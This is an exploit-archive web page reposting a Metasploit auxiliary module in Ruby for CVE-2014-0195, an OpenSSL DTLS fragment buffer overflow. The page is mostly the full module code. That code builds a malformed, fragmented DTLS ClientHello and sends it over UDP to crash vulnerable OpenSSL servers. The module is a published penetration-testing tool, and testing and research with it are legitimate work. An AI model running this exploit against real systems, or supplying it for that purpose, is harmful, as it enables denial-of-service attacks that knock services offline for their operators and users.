首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenSSL DTLS Fragment Buffer Overflow DoS Exploit
来源:metasploit.com 作者:Hart 发布时间:2014-07-01  
##
# This module requires Metasploit: http//metasploit.com/download
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Auxiliary
  
  include Msf::Auxiliary::Dos
  include Exploit::Remote::Udp
  
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',
      'Description' => %q{
This module performs a Denial of Service Attack against Datagram TLS in
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
This occurs when a DTLS ClientHello message has multiple fragments and the
fragment lengths of later fragments are larger than that of the first, a
buffer overflow occurs, causing a DoS.
},
      'Author' =>
        [
          'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery
          'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2014-0195'],
          ['ZDI', '14-173'],
          ['BID', '67900'],
        ],
      'DisclosureDate' => 'Jun 05 2014'))
  
    register_options([
      Opt::RPORT(4433),
      OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])
    ], self.class)
  
  end
  
  def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
    # format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),
    # fragment offset (3 bytes), fragment length (3 bytes), fragment body
    sol = (seq << 48) | (frag_offset << 24) | frag_length
    [
      (type << 24) | length,
      (sol >> 32),
      (sol & 0x00000000FFFFFFFF)
    ].pack("NNN") + frag_body
  end
  
  def build_tls_message(type, version, epoch, sequence, message)
    # format is: type (1 byte), version (2 bytes), epoch # (2 bytes),
    # sequence # (6 bytes) + message length (2 bytes), message body
    es = (epoch << 48) | sequence
    [
      type,
      version,
      (es >> 32),
      (es & 0x00000000FFFFFFFF),
      message.length
    ].pack("CnNNn") + message
  end
  
  def run
    # add a small fragment
    fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
    # add a large fragment where the length is significantly larger than that of the first
    # TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
    fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
    message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
    connect_udp
    print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")
    udp_sock.put(message)
    disconnect_udp
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Supermicro Onboard IPMI Port 4
·MongoDB NoSQL Collection Enume
·Gitlist <= 0.4.0 - Remote Code
·Sun/Oracle GlassFish Authentic
·check_dhcp 2.0.2 (Nagios Plugi
·Nagios check_dhcp 2.0.2 Race C
·chkrootkit 0.49 - Local Root V
·Horde Framework Unserialize PH
·HP AutoPass License Server Fil
·Baidu Spark Browser 26.5.9999.
·MS14-009 .NET Deployment Servi
·MS13-097 Registry Symlink IE S
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved